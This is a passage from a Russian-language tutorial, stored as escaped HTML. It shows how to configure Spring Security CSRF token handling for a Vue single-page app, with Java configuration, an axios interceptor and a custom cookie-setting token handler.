\u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c <code>CsrfFilter<\/code>, \u0443 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0435\u0441\u0442\u044c \u0434\u0432\u0435 \u0432\u0430\u0436\u043d\u044b\u0435 \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0435:<\/p>\n<ul>\n<li>\n<p><code>CsrfTokenRepository<\/code> &#8212; \u0445\u0440\u0430\u043d\u0438\u043b\u0438\u0449\u0435 \u0442\u043e\u043a\u0435\u043d\u043e\u0432. \u041c\u043e\u0436\u043d\u043e \u0445\u0440\u0430\u043d\u0438\u0442\u044c \u0432 \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u0435 \u0441\u0435\u0441\u0441\u0438\u0438 (<code>HttpSessionCsrfTokenRepository<\/code>) \u0438\u043b\u0438 \u0432 \u043a\u0443\u043a\u0430\u0445 (<code>CookieCsrfTokenRepository<\/code>).<\/p>\n<\/li>\n<li>\n<p><code>CsrfTokenRequestHandler<\/code> &#8212; \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0442\u043e\u043a\u0435\u043d\u0430 \u0438\u0437 \u0437\u0430\u043f\u0440\u043e\u0441\u0430, \u0438 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u043e\u0431\u044a\u0435\u043a\u0442\u0430 <code>CsrfToken<\/code>. <code>CsrfTokenRequestAttributeHandler<\/code> &#8212; \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0433\u043e\u0442\u043e\u0432\u044b\u0439 \u0442\u043e\u043a\u0435\u043d \u0438\u0437 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u043e\u0432 \u0438\u043b\u0438 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432 \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u0438 \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0439 \u0438\u0437 \u0445\u0440\u0430\u043d\u0438\u043b\u0438\u0449\u0430 \u0437\u0430\u043f\u0440\u043e\u0441 \u043f\u043e\u043c\u0435\u0449\u0430\u0435\u0442 \u0432 \u0430\u0442\u0440\u0438\u0431\u0443\u0442 \u0441\u0435\u0441\u0441\u0438\u0438 <code>_scrf<\/code>. <code>XorCsrfTokenRequestAttributeHandler<\/code> &#8212; \u043f\u0440\u043e\u0434\u0432\u0438\u043d\u0443\u0442\u044b\u0439 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c, \u043f\u043e\u0441\u043b\u0435 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0442\u043e\u043a\u0435\u043d\u0430 \u0438\u0437 \u0445\u0440\u0430\u043d\u0438\u043b\u0438\u0449\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 &#171;\u0441\u043e\u043b\u044c&#187; \u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e xor, \u0447\u0442\u043e\u0431\u044b \u043d\u0430 \u043a\u0430\u0436\u0434\u044b\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u0441\u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0442\u043e\u043a\u0435\u043d. \u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u0437\u0430\u0449\u0438\u0449\u0430\u0435\u0442 \u043e\u0442 <a href=\"https:\/\/en.wikipedia.org\/wiki\/BREACH\" rel=\"noopener noreferrer nofollow\">BREACH<\/a> \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 HTTPS.<\/p>\n<\/li>\n<\/ul>\n<p>\u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e Spring Security \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 <code>HttpSessionCsrfTokenRepository<\/code> \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0445\u0440\u0430\u043d\u0438\u043b\u0438\u0449\u0430 \u0438 <code>XorCsrfTokenRequestAttributeHandler<\/code> \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0430 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f\/\u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u0442\u043e\u043a\u0435\u043d\u0430. \u0414\u043b\u044f \u0442\u043e\u0433\u043e \u0447\u0442\u043e\u0431\u044b \u043f\u0435\u0440\u0435\u0434\u0430\u0442\u044c \u043d\u0430 \u0444\u0440\u043e\u043d\u0442 \u0442\u043e\u043a\u0435\u043d, \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c <code>thymeleaf<\/code>. \u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 meta \u0442\u0435\u0433\u0438 \u0432 \u043d\u0430\u0448 <code>index.html<\/code>.<\/p>\n<p><code><strong>index.html<\/strong><\/code><\/p>\n<pre><code> &lt;head>     &lt;meta charset=\"utf-8\">     &lt;meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">     &lt;meta name=\"viewport\" content=\"width=device-width,initial-scale=1.0\">      &lt;!--    \u0423\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u043c \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a \u0438 \u0441\u0430\u043c CSRF \u0442\u043e\u043a\u0435\u043d-->     &lt;meta name=\"_csrf\" th:content=\"${_csrf.token}\"\/>     &lt;meta name=\"_csrf_header\" th:content=\"${_csrf.headerName}\"\/>       &lt;link rel=\"icon\" href=\"&lt;%= BASE_URL %>favicon.ico\">     &lt;link href='https:\/\/fonts.googleapis.com\/css?family=Roboto:100,300,400,500,700,900|Material+Icons' rel=\"stylesheet\">     &lt;title>&lt;%= htmlWebpackPlugin.options.title %>&lt;\/title> &lt;\/head> <\/code><\/pre>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c, \u043f\u0440\u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0438 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b, \u0443 \u043d\u0430\u0441 \u0432 meta \u0442\u0435\u0433\u0430\u0445 \u0431\u0443\u0434\u0435\u0442 \u0438\u043c\u044f \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u043d\u0443\u0436\u043d\u043e \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c CSRF \u0442\u043e\u043a\u0435\u043d \u0438 \u0441\u0430\u043c \u0442\u043e\u043a\u0435\u043d. \u0414\u0430\u043b\u0435\u0435 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 JS \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u044d\u0442\u0438 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0438 \u0432 axios \u0438\u043d\u0442\u0435\u0440\u0446\u0435\u043f\u0442\u043e\u0440\u0435 \u043f\u043e\u0434\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0442\u044c \u0442\u043e\u043a\u0435\u043d \u0432 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a \u0437\u0430\u043f\u0440\u043e\u0441\u0430 (\u043a\u0430\u043a \u043f\u0440\u0430\u0432\u0438\u043b\u043e, \u044d\u0442\u043e: <code>X-CSRF-TOKEN<\/code> \u0438\u043b\u0438 <code>X-XSRF-TOKEN<\/code>).<\/p>\n<p><code><strong>axios-plugin.js<\/strong><\/code><\/p>\n<pre><code>import axios from \"axios\";  function applyCsrfTokenFromMetaTag(requestConfig) {     let token = searchMetaContent('_csrf');     let tokenHeader = searchMetaContent('_csrf_header');     if (token &amp;&amp; tokenHeader) {         requestConfig.headers[tokenHeader] = token;     } }  function applyAxiosInterceptor(store, router) {     axios.interceptors.request.use(config => {         if (['DELETE', 'POST', 'PUT'].includes(config.method.toUpperCase())) {             applyCsrfTokenFromMetaTag(config);         }         return config;     }); } <\/code><\/pre>\n<p>\u041a \u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e \u0434\u0430\u043d\u043d\u0430\u044f \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044f \u0432 \u043d\u0430\u0448\u0435\u043c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0438 \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u043d\u0435 \u0431\u0443\u0434\u0435\u0442, \u0442\u0430\u043a \u043a\u0430\u043a:<\/p>\n<ol>\n<li>\n<p>Frontend \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f SPA. \u0421\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e, \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u043d\u0435 \u0437\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u043a\u0430\u0436\u0434\u044b\u0439 \u0437\u0430\u043f\u0440\u043e\u0441.<\/p>\n<\/li>\n<li>\n<p>\u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f <code>XorCsrfTokenRequestAttributeHandler<\/code>, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0435\u0442 \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0442\u043e\u043a\u0435\u043d \u043d\u0430 \u043a\u0430\u0436\u0434\u044b\u0439 \u0437\u0430\u043f\u0440\u043e\u0441.<\/p>\n<\/li>\n<\/ol>\n<p>\u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0435\u0441\u043b\u0438 \u0432\u044b\u0431\u0440\u0430\u0442\u044c <code>CsrfTokenRequestAttributeHandler<\/code>, \u0442\u043e \u0432\u0441\u0451 \u0437\u0430\u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043a\u0430\u043a \u043d\u0430\u0434\u043e.<\/p>\n<p><code><strong>SecurityConfig.java<\/strong><\/code><\/p>\n<pre><code class=\"java\">public class SecurityConfig {      \/\/ .....      @Bean     public SecurityFilterChain defaultSecurityFilterChain(HttpSecurity http) throws Exception {         \/\/ ...         http.csrf(configurer -> configurer                 .csrfTokenRepository(new HttpSessionCsrfTokenRepository())                 .csrfTokenRequestHandler(new CsrfTokenRequestAttributeHandler())         );          \/\/ ...     } } <\/code><\/pre>\n<p>\u0415\u0441\u0442\u044c \u043e\u0434\u0438\u043d \u043d\u044e\u0430\u043d\u0441. \u0415\u0441\u043b\u0438 \u0432\u043d\u0438\u043c\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u043d\u0430 \u043c\u0435\u0442\u043e\u0434 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 <code>CsrfFilter<\/code> \u0432 <code>ScrfConfigurer<\/code>, \u0442\u043e \u043c\u043e\u0436\u043d\u043e \u0437\u0430\u043c\u0435\u043d\u0438\u0442\u044c, \u0447\u0442\u043e \u043f\u043e\u043c\u0438\u043c\u043e \u0441\u0430\u043c\u043e\u0433\u043e \u0444\u0438\u043b\u044c\u0442\u0440\u0430 \u0442\u0430\u043c \u0435\u0449\u0435 \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u043d\u0430 logout \u0438 login. \u041e\u043d\u0438 \u043d\u0443\u0436\u043d\u044b, \u0447\u0442\u043e\u0431\u044b \u0441\u043c\u0435\u043d\u0438\u0442\u044c \u0442\u043e\u043a\u0435\u043d \u043f\u043e\u0441\u043b\u0435 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0438\u043b\u0438 \u0432\u044b\u0445\u043e\u0434\u0430 \u0432 \u0446\u0435\u043b\u044f\u0445 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.<\/p>\n<p><code><strong>CsrfConfigurer.java<\/strong><\/code><\/p>\n<pre><code class=\"java\">public final class CsrfConfigurer&lt;H extends HttpSecurityBuilder&lt;H>>         extends AbstractHttpConfigurer&lt;CsrfConfigurer&lt;H>, H> {      @Override     public void configure(H http) {         CsrfFilter filter = new CsrfFilter(this.csrfTokenRepository);         RequestMatcher requireCsrfProtectionMatcher = getRequireCsrfProtectionMatcher();         if (requireCsrfProtectionMatcher != null) {             filter.setRequireCsrfProtectionMatcher(requireCsrfProtectionMatcher);         }         AccessDeniedHandler accessDeniedHandler = createAccessDeniedHandler(http);         ObservationRegistry registry = getObservationRegistry();         if (!registry.isNoop()) {             ObservationMarkingAccessDeniedHandler observable = new ObservationMarkingAccessDeniedHandler(registry);             accessDeniedHandler = new CompositeAccessDeniedHandler(observable, accessDeniedHandler);         }         if (accessDeniedHandler != null) {             filter.setAccessDeniedHandler(accessDeniedHandler);         }          \/\/ \u0414\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u043d\u0430 logout         LogoutConfigurer&lt;H> logoutConfigurer = http.getConfigurer(LogoutConfigurer.class);         if (logoutConfigurer != null) {             logoutConfigurer.addLogoutHandler(new CsrfLogoutHandler(this.csrfTokenRepository));         }          \/\/ \u0414\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u043d\u0430 login         SessionManagementConfigurer&lt;H> sessionConfigurer = http.getConfigurer(SessionManagementConfigurer.class);         if (sessionConfigurer != null) {             sessionConfigurer.addSessionAuthenticationStrategy(getSessionAuthenticationStrategy());         }         if (this.requestHandler != null) {             filter.setRequestHandler(this.requestHandler);         }         filter = postProcess(filter);         http.addFilter(filter);     } } <\/code><\/pre>\n<p>\u041f\u043e\u0447\u0435\u043c\u0443 \u0436\u0435 \u0443 \u043d\u0430\u0441 \u0442\u043e\u0433\u0434\u0430 \u044d\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442, \u0440\u0430\u0437 \u0442\u043e\u043a\u0435\u043d \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u043f\u043e\u0441\u043b\u0435 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438? \u0412\u0441\u0451 \u043f\u0440\u043e\u0441\u0442\u043e, \u0435\u0441\u043b\u0438 \u0432\u0441\u043f\u043e\u043c\u043d\u0438\u0442\u044c, \u043a\u0430\u043a \u0443 \u043d\u0430\u0441 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0442\u043e \u043c\u043e\u0436\u043d\u043e \u0443\u0432\u0438\u0434\u0435\u0442\u044c, \u0447\u0442\u043e \u043f\u043e\u0441\u043b\u0435 \u0435\u0451 \u043f\u0440\u043e\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u0438\u0434\u0451\u0442 \u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b. \u0410 \u043f\u0440\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0447\u0435\u0440\u0435\u0437 \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0439 \u0441\u0435\u0440\u0432\u0438\u0441 \u0438 \u0442\u0430\u043a \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u0438\u0437-\u0437\u0430 \u043f\u0435\u0440\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439.<\/p>\n<p><code><strong>login-service.js<\/strong><\/code><\/p>\n<pre><code>export class LoginAPI {     \/\/ .....      \/**      * \u0412\u0445\u043e\u0434 \u0447\u0435\u0440\u0435\u0434 \u043b\u043e\u0433\u0438\u043d\/\u043f\u0430\u0440\u043e\u043b\u044c.      * \u041f\u0440\u0438 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0432 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430\u0445 \u043e\u0442\u0432\u0435\u0442\u0430 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439      * \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a {@see process.env.VUE_APP_SSO_LOCATION_HEADER}, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442\u0441\u044f URL \u0434\u043b\u044f \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u0433\u043e \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430      * @param username - \u043b\u043e\u0433\u0438\u043d      * @param password - \u043f\u0430\u0440\u043e\u043b\u044c      *\/     login(username, password) {         let formData = new FormData();         formData.append(\"username\", username);         formData.append(\"password\", password);          \/\/ \u0442\u0443\u0442 \u0434\u0435\u043b\u0430\u0435\u0442\u0441\u044f \u0437\u0430\u043f\u0440\u043e\u0441 \u0441 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c CSRF \u0442\u043e\u043a\u0435\u043d\u0430 \u0438\u0437 meta \u0442\u0435\u0433\u043e\u0432         return axios.post(LoginAPI.__LOGIN_URL, formData)                 .then(result => {                     \/\/ \u043f\u043e\u0441\u043b\u0435 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043e\u0442\u0432\u0435\u0442\u0430, \u0442\u043e\u043a\u0435\u043d \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0443\u0436\u0435 \u0441\u043c\u0435\u043d\u0438\u043b\u0441\u044f,                      \/\/ \u043d\u043e \u044d\u0442\u043e \u043d\u0435 \u043c\u0435\u0448\u0430\u0435\u0442 \u043d\u0430\u043c \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u043f\u0430\u0440\u043e\u0447\u043a\u0443 GET \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432,                      \/\/ \u0442\u0430\u043a \u043a\u0430\u043a \u043d\u0430 \u043d\u0438\u0445 \u0442\u043e\u043a\u0435\u043d \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f                      if (result.headers.has(LoginAPI.__LOCATION_HEADER)) {                         this.resetSessionStore();                          \/\/ \u0434\u0435\u043b\u0430\u0435\u043c GET \u0437\u0430\u043f\u0440\u043e\u0441                         this.getCurrentUser().then(() => {                              \/\/ \u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u043c \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443. \u0421\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e, \u043f\u043e\u043b\u0443\u0447\u0438\u0432 \u0432 meta \u0442\u0435\u0433\u0430\u0445 \u043e\u0431\u043d\u043e\u0432\u043b\u0451\u043d\u043d\u044b\u0439 \u0442\u043e\u043a\u0435\u043d                             window.location = result.headers.get(LoginAPI.__LOCATION_HEADER);                         });                     }                 });     }       logout() {         return axios.post(LoginAPI.__LOGOUT).then((response) => {             this.afterLogout();             return response;         });     }      afterLogout() {         this.resetSessionStore();         router.replace({name: 'login'});          \/\/ \u0434\u043e\u0431\u0430\u0432\u0438\u043c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b, \u0442\u0430\u043a \u043a\u0430\u043a CSRF \u0442\u043e\u043a\u0435\u043d \u0441\u043c\u0435\u043d\u0438\u043b\u0441\u044f         window.location.reload();     }      \/\/ ..... } <\/code><\/pre>\n<p>\u0427\u0442\u043e\u0431\u044b \u0438\u0441\u043f\u044b\u0442\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u0443\u044e \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044e, \u0432\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0438\u0437 \u0432\u0435\u0442\u043a\u0438 <a href=\"https:\/\/github.com\/dlabs71\/spring-authorization-server-example\/tree\/chapter-5.2-simple-csrf\" rel=\"noopener noreferrer nofollow\"><code>chapter-5.2-simple-csrf<\/code><\/a>.<\/p>\n<p>\u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u043c \u0442\u0435\u043f\u0435\u0440\u044c CSRF \u0442\u0430\u043a, \u0447\u0442\u043e\u0431\u044b \u043c\u044b \u0431\u044b\u043b\u0438 \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u044b \u043e\u0442 BREACH \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438. \u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u043d\u0430\u043c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c <code>XorCsrfTokenRequestAttributeHandler<\/code>. \u041d\u043e \u0447\u0442\u043e\u0431\u044b \u0435\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c, \u043d\u0430\u043c \u043d\u0430\u0434\u043e \u043a\u0430\u043a\u0438\u043c-\u0442\u043e \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0442\u044c \u0442\u043e\u043a\u0435\u043d \u043d\u0430 \u0444\u0440\u043e\u043d\u0442\u0435. <a href=\"https:\/\/docs.spring.io\/spring-security\/reference\/servlet\/exploits\/csrf.html#csrf-integration-javascript-spa\" rel=\"noopener noreferrer nofollow\">\u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u043f\u043e Spring Security<\/a> \u043d\u0430\u043c \u0441\u043e\u0432\u0435\u0442\u0443\u0435\u0442 \u0432\u044b\u0431\u0440\u0430\u0442\u044c \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0445\u0440\u0430\u043d\u0438\u043b\u0438\u0449\u0430 \u0442\u043e\u043a\u0435\u043d\u043e\u0432 &#8212; Cookie, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f <code>CookieCsrfTokenRepository<\/code>. \u0412\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u0442\u0430\u043a \u0438 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c, \u043d\u043e \u044f \u0445\u043e\u0447\u0443 \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u044c \u043f\u043e\u0434\u0445\u043e\u0434 \u0441 \u0445\u0440\u0430\u043d\u0435\u043d\u0438\u0435\u043c &#171;\u0441\u044b\u0440\u043e\u0433\u043e&#187; \u0442\u043e\u043a\u0435\u043d\u0430 \u0432 \u0441\u0435\u0441\u0441\u0438\u0438, \u0430 \u0447\u0435\u0440\u0435\u0437 \u043a\u0443\u043a\u0438 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u043b\u0438\u0435\u043d\u0442\u0443 \u0442\u043e\u043b\u044c\u043a\u043e \u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0442\u043e\u043a\u0435\u043d. \u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u043d\u0443\u0436\u043d\u043e \u043f\u043e\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 <code>CsrfTokenRequestHandler<\/code>.<\/p>\n<p><code><strong>CustomCsrfTokenRequestHandler.java<\/strong><\/code><\/p>\n<pre><code class=\"java\">public class CustomCsrfTokenRequestHandler implements CsrfTokenRequestHandler {      private final XorCsrfTokenRequestAttributeHandler delegate = new XorCsrfTokenRequestAttributeHandler();      private static final String COOKIE_NAME = \"XSRF-TOKEN\";      @Override     public void handle(HttpServletRequest request, HttpServletResponse response, Supplier&lt;CsrfToken> csrfToken) {         this.delegate.handle(request, response, csrfToken);          \/\/ \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u043e\u0431\u043d\u043e\u0432\u043b\u0451\u043d\u043d\u044b\u0439 \u0442\u043e\u043a\u0435\u043d         CsrfToken token = (CsrfToken) request.getAttribute(CsrfToken.class.getName());          \/\/ \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u043c \u0435\u0433\u043e \u0432 \u043a\u0443\u043a\u0438 \u043e\u0442\u0432\u0435\u0442\u0430         Cookie cookie = new Cookie(COOKIE_NAME, token.getToken());         cookie.setPath(\"\/\");         cookie.setAttribute(\"SameSite\", \"Lax\");         response.addCookie(cookie);     }      @Override     public String resolveCsrfTokenValue(HttpServletRequest request, CsrfToken csrfToken) {         return this.delegate.resolveCsrfTokenValue(request, csrfToken);     } } <\/code><\/pre>\n<p>\u0415\u0433\u043e \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043f\u0440\u043e\u0441\u0442\u0430\u044f. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0446\u0438\u044e \u043c\u044b \u0434\u0435\u043b\u0435\u0433\u0438\u0440\u0443\u0435\u043c \u0440\u0430\u0431\u043e\u0442\u0443 \u043c\u0435\u0442\u043e\u0434\u043e\u0432 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u0443 <code>XorCsrfTokenRequestAttributeHandler<\/code>. \u041d\u043e \u0447\u0443\u0442\u044c \u043c\u0435\u043d\u044f\u0435\u043c \u043c\u0435\u0442\u043e\u0434 <code>handle()<\/code>. \u0412 \u043d\u0451\u043c \u043f\u043e\u0441\u043b\u0435 \u0440\u0430\u0431\u043e\u0442\u044b \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0433\u043e \u043c\u0435\u0442\u043e\u0434\u0430 \u0434\u0435\u043b\u0435\u0433\u0430\u0442\u0430 \u043c\u044b \u0434\u043e\u0441\u0442\u0430\u0451\u043c \u043e\u0431\u043d\u043e\u0432\u043b\u0451\u043d\u043d\u044b\u0439 \u0442\u043e\u043a\u0435\u043d \u0438\u0437 \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u043e\u0432 \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u0438 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u043c \u0432 \u043e\u0442\u0432\u0435\u0442\u0435 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u043a\u0443\u043a\u0438 \u0441 \u044d\u0442\u0438\u043c \u0442\u043e\u043a\u0435\u043d\u043e\u043c. \u0414\u0430\u043b\u0435\u0435 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0447\u0442\u043e\u0431\u044b frontend \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u043f\u0440\u0438 \u0437\u0430\u043f\u0440\u043e\u0441\u0435 